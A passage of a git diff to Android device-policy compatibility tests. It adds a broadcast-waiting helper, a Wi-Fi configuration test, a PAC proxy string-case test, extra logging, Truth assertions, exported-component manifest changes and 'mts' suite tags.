+import static org.testng.Assert.assertThrows;
+
 import android.app.admin.DevicePolicyManager;
 import android.content.Context;
 import android.test.AndroidTestCase;
+import android.util.Log;
 
 /**
  * The following test can run in DeviceOwner mode or non-DeviceOwner mode.
@@ -25,18 +28,23 @@
  */
 public class PreDeviceOwnerTest extends AndroidTestCase {
 
+    private static final String TAG = PreDeviceOwnerTest.class.getSimpleName();
+
     protected DevicePolicyManager mDevicePolicyManager;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
 
+        Log.d(TAG, "setUp(): running on user " + mContext.getUserId());
+
         mDevicePolicyManager = (DevicePolicyManager)
                 mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
     }
 
     public void testIsProvisioningAllowedFalse() {
-        assertFalse(mDevicePolicyManager.isProvisioningAllowed(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE));
+        assertFalse(mDevicePolicyManager
+                .isProvisioningAllowed(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE));
     }
 
     public void testIsProvisioningNotAllowedForManagedProfileAction() {
@@ -44,4 +52,8 @@
                 .isProvisioningAllowed(DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE));
     }
 
+    public void testListForegroundAffiliatedUsers_notDeviceOwner() throws Exception {
+        assertThrows(SecurityException.class,
+                () -> mDevicePolicyManager.listForegroundAffiliatedUsers());
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserActionCallback.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserActionCallback.java
new file mode 100644
index 0000000..35ae408
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserActionCallback.java
@@ -0,0 +1,187 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceowner;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.UserHandle;
+import android.util.Log;
+
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper class used to wait for user-related intents broadcast by {@link BasicAdminReceiver}.
+ *
+ */
+final class UserActionCallback {
+
+    private static final String TAG = UserActionCallback.class.getSimpleName();
+
+    private static final int BROADCAST_TIMEOUT = 300_000;
+
+    private final int mExpectedSize;
+    private final List<String> mExpectedActions;
+    private final List<String> mPendingActions;
+
+    private final List<UserHandle> mReceivedUsers = new ArrayList<>();
+    private final CountDownLatch mLatch;
+    private final Context mContext;
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            if (intent.hasExtra(BasicAdminReceiver.EXTRA_USER_HANDLE)) {
+                UserHandle userHandle = intent
+                        .getParcelableExtra(BasicAdminReceiver.EXTRA_USER_HANDLE);
+                Log.d(TAG, "broadcast receiver received " + action + " with user " + userHandle);
+                mReceivedUsers.add(userHandle);
+            } else {
+                Log.e(TAG, "broadcast receiver received " + intent.getAction()
+                        + " WITHOUT " + BasicAdminReceiver.EXTRA_USER_HANDLE + " extra");
+            }
+            boolean removed = mPendingActions.remove(action);
+            if (!removed) {
+                Log.e(TAG, "Unexpected action " + action + "; what's left is " + mPendingActions);
+                return;
+            }
+            Log.d(TAG, "Counting down latch (id " + System.identityHashCode(mLatch)
+                    + ", current count " + mLatch.getCount() + ") on thread "
+                    + Thread.currentThread());
+            mLatch.countDown();
+        }
+    };
+
+    private UserActionCallback(Context context, String... actions) {
+        Log.d(TAG, "Constructed UserActionCallback for " + Arrays.toString(actions) + " on user "
+                + context.getUserId());
+        mContext = context;
+        mExpectedSize = actions.length;
+        mExpectedActions = new ArrayList<>(mExpectedSize);
+        mPendingActions = new ArrayList<>(mExpectedSize);
+        for (String action : actions) {
+            mExpectedActions.add(action);
+            mPendingActions.add(action);
+        }
+        mLatch = new CountDownLatch(mExpectedSize);
+    }
+
+    /**
+     * Creates a new {@link UserActionCallback} and registers it to receive user broadcasts in the
+     * given context.
+     *
+     * @param context context to register for.
+     * @param actions expected actions.
+     *
+     * @return a new {@link UserActionCallback}.
+     */
+    public static UserActionCallback getCallbackForBroadcastActions(Context context,
+            String... actions) {
+        UserActionCallback callback = new UserActionCallback(context, actions);
+
+        IntentFilter filter = new IntentFilter();
+        for (String action : actions) {
+            filter.addAction(action);
+        }
+
+        LocalBroadcastManager.getInstance(context).registerReceiver(callback.mReceiver, filter);
+
+        return callback;
+    }
+
+    /**
+     * Runs the given operation, blocking until the broadcasts are received and automatically
+     * unregistering itself at the end.
+     *
+     * @param runnable operation to run.
+     *
+     * @return operation result.
+     */
+    public <V> V callAndUnregisterSelf(Callable<V> callable)
+            throws Exception {
+        try {
+            return callable.call();
+        } finally {
+            unregisterSelf();
+        }
+    }
+
+    /**
+     * Gets the list of {@link UserHandle} associated with the broadcasts received so far.
+     */
+    public List<UserHandle> getUsersOnReceivedBroadcasts() {
+        return Collections.unmodifiableList(new ArrayList<>(mReceivedUsers));
+    }
+
+    /**
+     * Runs the given operation, blocking until the broadcasts are received and automatically
+     * unregistering itself at the end.
+     *
+     * @param runnable operation to run.
+     *
+     * @return operation result.
+     */
+    public void runAndUnregisterSelf(ThrowingRunnable runnable) throws Exception {
+        try {
+            runnable.run();
+            waitForBroadcasts();
+        } finally {
+            unregisterSelf();
+        }
+    }
+
+    /**
+     * Unregister itself as a {@link BroadcastReceiver} for user events.
+     */
+    public void unregisterSelf() {
+        LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mReceiver);
+    }
+
+    /**
+     * Custom {@link Runnable} that throws an {@link Exception}.
+     */
+    interface ThrowingRunnable {
+        void run() throws Exception;
+    }
+
+    private void waitForBroadcasts() throws Exception {
+        Log.d(TAG, "Waiting up to " + BROADCAST_TIMEOUT + " to receive " + mExpectedSize
+                + " broadcasts");
+        boolean received = mLatch.await(BROADCAST_TIMEOUT, TimeUnit.MILLISECONDS);
+        try {
+            assertWithMessage("%s messages received in %s ms. Expected actions=%s, "
+                + "pending=%s", mExpectedSize, BROADCAST_TIMEOUT, mExpectedActions,
+                mPendingActions).that(received).isTrue();
+        } catch (Exception | Error e) {
+            Log.e(TAG, "waitForBroadcasts() failed: " + e);
+            throw e;
+        }
+        Log.d(TAG, "All broadcasts accounted for. Thank you and come again!");
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
index de1dd55..927520a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
@@ -16,6 +16,9 @@
 
 package com.android.cts.deviceowner;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.content.Intent;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
@@ -23,7 +26,6 @@
 import android.util.Log;
 
 import java.util.ArrayList;
-import java.util.Collections;
 
 /**
  * Test {@link DevicePolicyManager#setUserControlDisabledPackages} and
@@ -44,13 +46,12 @@
         ArrayList<String> protectedPackages= new ArrayList<>();
         protectedPackages.add(SIMPLE_APP_PKG);
         mDevicePolicyManager.setUserControlDisabledPackages(getWho(), protectedPackages);
-
-        // Launch app so that the app exits stopped state.
+        // Launch an activity so that the app exits stopped state.
         Intent intent = new Intent(Intent.ACTION_MAIN);
         intent.setClassName(SIMPLE_APP_PKG, SIMPLE_APP_ACTIVITY);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        Log.d(TAG, "Starting " + intent + " on user " + mUserId);
         mContext.startActivity(intent);
-
     }
 
     public void testForceStopWithUserControlDisabled() throws Exception {
@@ -59,29 +60,35 @@
         // Check if package is part of UserControlDisabledPackages before checking if 
         // package is stopped since it is a necessary condition to prevent stopping of
         // package
-        assertEquals(pkgs, mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
-        assertFalse(isPackageStopped(SIMPLE_APP_PKG));
+
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho()))
+                .containsExactly(SIMPLE_APP_PKG);
+        assertPackageStopped(/* stopped= */ false);
     }
 
     public void testClearSetUserControlDisabledPackages() throws Exception {
         final ArrayList<String> pkgs = new ArrayList<>();
         mDevicePolicyManager.setUserControlDisabledPackages(getWho(), pkgs);
-        assertEquals(pkgs, mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
     }
 
     public void testForceStopWithUserControlEnabled() throws Exception {
-        assertTrue(isPackageStopped(SIMPLE_APP_PKG));
-        assertEquals(Collections.emptyList(),
-                mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
+        assertPackageStopped(/* stopped= */ true);
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
     }
 
     private boolean isPackageStopped(String packageName) throws Exception {
         PackageInfo packageInfo = mContext.getPackageManager()
                 .getPackageInfo(packageName, PackageManager.GET_META_DATA);
-        Log.d(TAG, "Application flags for " + packageName + " = "
-                + Integer.toHexString(packageInfo.applicationInfo.flags));
-        return ((packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_STOPPED)
-                == ApplicationInfo.FLAG_STOPPED) ? true : false;
+        boolean stopped = (packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_STOPPED)
+                == ApplicationInfo.FLAG_STOPPED;
+        Log.d(TAG, "Application flags for " + packageName + " on user " + mUserId + " = "
+                + Integer.toHexString(packageInfo.applicationInfo.flags) + ". Stopped: " + stopped);
+        return stopped;
     }
 
+    private void assertPackageStopped(boolean stopped) throws Exception {
+        assertWithMessage("Package %s stopped for user %s", SIMPLE_APP_PKG, mUserId)
+                .that(isPackageStopped(SIMPLE_APP_PKG)).isEqualTo(stopped);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiNetworkConfigurationWithoutFineLocationPermissionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiNetworkConfigurationWithoutFineLocationPermissionTest.java
new file mode 100644
index 0000000..b69e2df
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiNetworkConfigurationWithoutFineLocationPermissionTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceowner;
+
+
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
+
+import android.Manifest;
+import android.content.pm.PackageManager;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiManager;
+import android.os.SystemClock;
+
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.WifiConfigCreator;
+
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+public class WifiNetworkConfigurationWithoutFineLocationPermissionTest extends BaseDeviceOwnerTest {
+    private static final String TAG = "WifiNetworkConfigurationWithoutFineLocationPermissionTest";
+
+    // Unique SSID to use for this test (max SSID length is 32)
+    private static final String NETWORK_SSID = "com.android.cts.abcdefghijklmnop";
+    private static final int INVALID_NETWORK_ID = -1;
+
+    // Time duration to allow before assuming that a WiFi operation failed and ceasing to wait.
+    private static final long UPDATE_TIMEOUT_MS = TimeUnit.MINUTES.toMillis(5);
+    private static final long UPDATE_INTERVAL_MS = TimeUnit.SECONDS.toMillis(1);
+
+    private WifiManager mWifiManager;
+    private WifiConfigCreator mWifiConfigCreator;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mWifiConfigCreator = new WifiConfigCreator(getContext());
+        mWifiManager = getContext().getSystemService(WifiManager.class);
+        // WiFi is supposed to be a prerequisite of CTS but sometimes it's not enabled
+        // for some unknown reason. Check it here just in case.
+        if (!mWifiManager.isWifiEnabled()) {
+            SystemUtil.runShellCommand("svc wifi enable");
+            awaitWifiEnabled();
+        }
+    }
+
+    public void testAddAndRetrieveCallerConfiguredNetworks() throws Exception {
+        assertTrue("WiFi is not enabled", mWifiManager.isWifiEnabled());
+        assertEquals(PackageManager.PERMISSION_DENIED,
+                mContext.checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION));
+
+        int netId = mWifiConfigCreator.addNetwork(NETWORK_SSID, /* hidden */ false,
+                SECURITY_TYPE_NONE, /* password */ null);
+        assertNotSame("Failed to add network", INVALID_NETWORK_ID, netId);
+
+        try {
+            List<WifiConfiguration> configs = mWifiManager.getCallerConfiguredNetworks();
+            assertEquals(1, configs.size());
+            assertEquals('"' + NETWORK_SSID + '"', configs.get(0).SSID);
+        } finally {
+            mWifiManager.removeNetwork(netId);
+        }
+    }
+
+    private void awaitWifiEnabled()  {
+        for (int probes = 0; probes * UPDATE_INTERVAL_MS <= UPDATE_TIMEOUT_MS; probes++) {
+            if (probes != 0) {
+                SystemClock.sleep(UPDATE_INTERVAL_MS);
+            }
+            if (mWifiManager.isWifiEnabled()) {
+                return;
+            }
+        }
+        fail("Waited too long for wifi enabled");
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/proxy/PacProxyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/proxy/PacProxyTest.java
index ce5aa03..2e35bd4 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/proxy/PacProxyTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/proxy/PacProxyTest.java
@@ -78,6 +78,15 @@
       "}";
 
   /**
+   * PAC file that uses locale-specific string manipulations.
+   */
+  private static final String STRING_CASE_PAC = "function FindProxyForURL(url, host) {" +
+      "  if (\"hElLo\".toUpperCase() != \"HELLO\") return \"PROXY failed:8080\";" +
+      "  if (\"hElLo\".toLowerCase() != \"hello\") return \"PROXY failed:8080\";" +
+      "  return \"PROXY passed:8080\";" +
+      "}";
+
+  /**
    * Wait for the PacFileServer to tell us it has had a successful
    * HTTP request and responded with the PAC file we set.
    */
@@ -260,4 +269,22 @@
     assertEquals("Incorrect URL should return DIRECT",
         newArrayList(Proxy.NO_PROXY), list);
   }
+
+  /**
+   * Test a PAC file with toUpperCase/toLowerCase manipulations.
+   */
+  public void testStringCase() throws Exception {
+    mPacServer.setPacFile(STRING_CASE_PAC);
+    setPacURLAndWaitForDownload();
+
+    waitForSetProxySysProp();
+
+    URI uri = new URI("http://testhost/");
+
+    ProxySelector selector = ProxySelector.getDefault();
+    List<Proxy> list = selector.select(uri);
+    assertEquals("Correct URL returns proxy",
+        newArrayList(new Proxy(Type.HTTP, InetSocketAddress.createUnresolved("passed", 8080))),
+        list);
+  }
 }
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
index 74f44d7..6898a9d 100644
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
@@ -32,6 +32,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "current",
 }
@@ -51,6 +52,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "no_launcher_activity_AndroidManifest.xml",
     sdk_version: "current",
@@ -71,6 +73,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "no_permission_AndroidManifest.xml",
     sdk_version: "current",
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
index 760b31f..c1b179d 100755
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
@@ -16,17 +16,18 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.haslauncheractivityapp">
-    <uses-permission android:name="android.permission.INTERNET" />
+     package="com.android.cts.haslauncheractivityapp">
+    <uses-permission android:name="android.permission.INTERNET"/>
     <application android:testOnly="true">
-        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity">
+        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <service android:name=".EmptyService" android:enabled="true"></service>
+        <service android:name=".EmptyService"
+             android:enabled="true"/>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
index ae2249a..614377c 100755
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
@@ -19,7 +19,8 @@
     package="com.android.cts.nolauncheractivityapp">
     <uses-permission android:name="android.permission.INTERNET" />
     <application>
-        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity">
+        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity"
+                  android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW" />
             </intent-filter>
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
index 31bfdf4..728fb98 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
@@ -28,12 +28,13 @@
         "androidx.legacy_legacy-support-v4",
         "ctstestrunner-axt",
     ],
-    sdk_version: "current",
+    sdk_version: "test_current",
     min_sdk_version: "19",
     // tag this module as a cts test artifact
     test_suites: [
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
index 22614fe..a5b4801 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
@@ -15,35 +15,37 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.intent.receiver">
+     package="com.android.cts.intent.receiver">
 
     <uses-sdk android:minSdkVersion="19"/>
 
     <uses-permission android:name="com.android.cts.managedprofile.permission.SAMPLE"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="com.android.cts.intent.receiver.IntentReceiverActivity">
+        <activity android:name="com.android.cts.intent.receiver.IntentReceiverActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.action.COPY_TO_CLIPBOARD" />
-                <action android:name="com.android.cts.action.READ_FROM_URI" />
-                <action android:name="com.android.cts.action.TAKE_PERSISTABLE_URI_PERMISSION" />
-                <action android:name="com.android.cts.action.WRITE_TO_URI" />
+                <action android:name="com.android.cts.action.COPY_TO_CLIPBOARD"/>
+                <action android:name="com.android.cts.action.READ_FROM_URI"/>
+                <action android:name="com.android.cts.action.TAKE_PERSISTABLE_URI_PERMISSION"/>
+                <action android:name="com.android.cts.action.WRITE_TO_URI"/>
                 <action android:name="com.android.cts.action.NOTIFY_URI_CHANGE"/>
                 <action android:name="com.android.cts.action.OBSERVE_URI_CHANGE"/>
-                <action android:name="com.android.cts.action.JUST_CREATE" />
-                <action android:name="com.android.cts.action.CREATE_AND_WAIT" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.action.JUST_CREATE"/>
+                <action android:name="com.android.cts.action.CREATE_AND_WAIT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <activity android:name=".SimpleIntentReceiverActivity" android:exported="true"/>
+        <activity android:name=".SimpleIntentReceiverActivity"
+             android:exported="true"/>
 
         <activity-alias android:name=".BrowserActivity"
-            android:targetActivity=".SimpleIntentReceiverActivity">
+             android:targetActivity=".SimpleIntentReceiverActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW"/>
                 <category android:name="android.intent.category.DEFAULT"/>
@@ -53,16 +55,19 @@
         </activity-alias>
 
         <activity-alias android:name=".AppLinkActivity"
-            android:targetActivity=".SimpleIntentReceiverActivity">
+             android:targetActivity=".SimpleIntentReceiverActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW"/>
                 <category android:name="android.intent.category.DEFAULT"/>
                 <category android:name="android.intent.category.BROWSABLE"/>
-                <data android:scheme="http" android:host="com.android.cts.intent.receiver"/>
+                <data android:scheme="http"
+                     android:host="com.android.cts.intent.receiver"/>
             </intent-filter>
         </activity-alias>
 
-        <receiver android:name=".BroadcastIntentReceiver">
+        <receiver android:name=".BroadcastIntentReceiver"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.DEVICE_OWNER_CHANGED"/>
             </intent-filter>
@@ -70,9 +75,8 @@
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.intent.receiver"
-        android:label="Intent Receiver CTS Tests" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.intent.receiver"
+         android:label="Intent Receiver CTS Tests"/>
 
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/BroadcastIntentReceiver.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/BroadcastIntentReceiver.java
index 34b8798..3aef15f 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/BroadcastIntentReceiver.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/BroadcastIntentReceiver.java
@@ -20,9 +20,12 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.SharedPreferences;
+import android.util.Log;
 
 public class BroadcastIntentReceiver extends BroadcastReceiver {
 
+    private static final String TAG = BroadcastIntentReceiver.class.getSimpleName();
+
     static final String OWNER_CHANGED_BROADCAST_RECEIVED_KEY
          = "owner-changed-broadcast-received";
 
@@ -30,6 +33,7 @@
 
     @Override
     public void onReceive(Context c, Intent i) {
+        Log.i(TAG, "onReceive(userId=" + c.getUserId() + "): " + i);
         SharedPreferences prefs = c.getSharedPreferences(PREFERENCES_NAME, Context.MODE_PRIVATE);
         SharedPreferences.Editor editor = prefs.edit();
         editor.putBoolean(OWNER_CHANGED_BROADCAST_RECEIVED_KEY, true);
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
index f305e86..14f9c15 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
@@ -16,19 +16,18 @@
 
 package com.android.cts.intent.receiver;
 
-import android.app.admin.DevicePolicyManager;
 import android.content.Context;
-import android.content.Intent;
 import android.content.SharedPreferences;
 import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
 import android.test.InstrumentationTestCase;
 
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
-import java.lang.InterruptedException;
 
 public class OwnerChangedBroadcastTest extends InstrumentationTestCase {
 
+    private static final String TAG = OwnerChangedBroadcastTest.class.getSimpleName();
+
     private SharedPreferences mPreferences;
 
     @Override
@@ -42,7 +41,7 @@
     // We can't just register a broadcast receiver in the code because the broadcast
     // may have been sent before this test is run. So we have a manifest receiver
     // listening to the broadcast and writing to a shared preference when it receives it.
-    public void testOwnerChangedBroadcastReceived() throws InterruptedException {
+    public void testOwnerChangedBroadcastReceived() throws Exception {
         final Semaphore mPreferenceChanged = new Semaphore(0);
 
         OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/SimpleIntentReceiverActivity.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/SimpleIntentReceiverActivity.java
index 23755df..6fe23d2 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/SimpleIntentReceiverActivity.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/SimpleIntentReceiverActivity.java
@@ -16,21 +16,21 @@
 
 package com.android.cts.intent.receiver;
 
-import android.app.admin.DevicePolicyManager;
 import android.app.Activity;
+import android.app.admin.DevicePolicyManager;
 import android.content.Context;
 import android.content.Intent;
-import android.util.Log;
-
 import android.os.Bundle;
+import android.util.Log;
 
 /**
  * An activity that receives an intent and returns immediately, indicating its own name and if it is
  * running in a managed profile.
  */
 public class SimpleIntentReceiverActivity extends Activity {
-    private static final String TAG = "SimpleIntentReceiverActivity";
+    private static final String TAG = SimpleIntentReceiverActivity.class.getSimpleName();
 
+    @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         String className = getIntent().getComponent().getClassName();
@@ -41,8 +41,14 @@
                 (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
         boolean inManagedProfile = dpm.isProfileOwnerApp("com.android.cts.managedprofile");
 
-        Log.i(TAG, "activity " + className + " started, is in managed profile: "
-                + inManagedProfile);
+        try {
+            Log.i(TAG, "activity " + className + " started on user " + getUserId()
+                    + ", is in managed profile: " + inManagedProfile);
+        } catch (NoSuchMethodError e) {
+            // TODO(b/183427655): figure out why it's failing...
+            Log.i(TAG, "activity " + className + ", is in managed profile: " + inManagedProfile
+                    + " (could not infer user id: " + e + ")");
+        }
         Intent result = new Intent();
         result.putExtra("extra_receiver_class", className);
         result.putExtra("extra_in_managed_profile", inManagedProfile);
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.bp b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
index db80feb..081ccec 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.bp
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
@@ -28,6 +28,7 @@
         "ctstestrunner-axt",
         "ub-uiautomator",
         "androidx.legacy_legacy-support-v4",
+        "truth-prebuilt",
     ],
     platform_apis: true,
     // tag this module as a cts test artifact
@@ -35,5 +36,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml b/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml
index 730250b..4953096 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml
@@ -15,43 +15,39 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.intent.sender">
+     package="com.android.cts.intent.sender">
 
-    <permission
-        android:name="com.android.cts.intent.sender.permission.SAMPLE"
-        android:label="Sample Permission" />
+    <permission android:name="com.android.cts.intent.sender.permission.SAMPLE"
+         android:label="Sample Permission"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name=".IntentSenderActivity">
+        <activity android:name=".IntentSenderActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <provider
-            android:name="androidx.core.content.FileProvider"
-            android:authorities="com.android.cts.intent.sender.fileprovider"
-            android:grantUriPermissions="true"
-            android:exported="false">
-            <meta-data
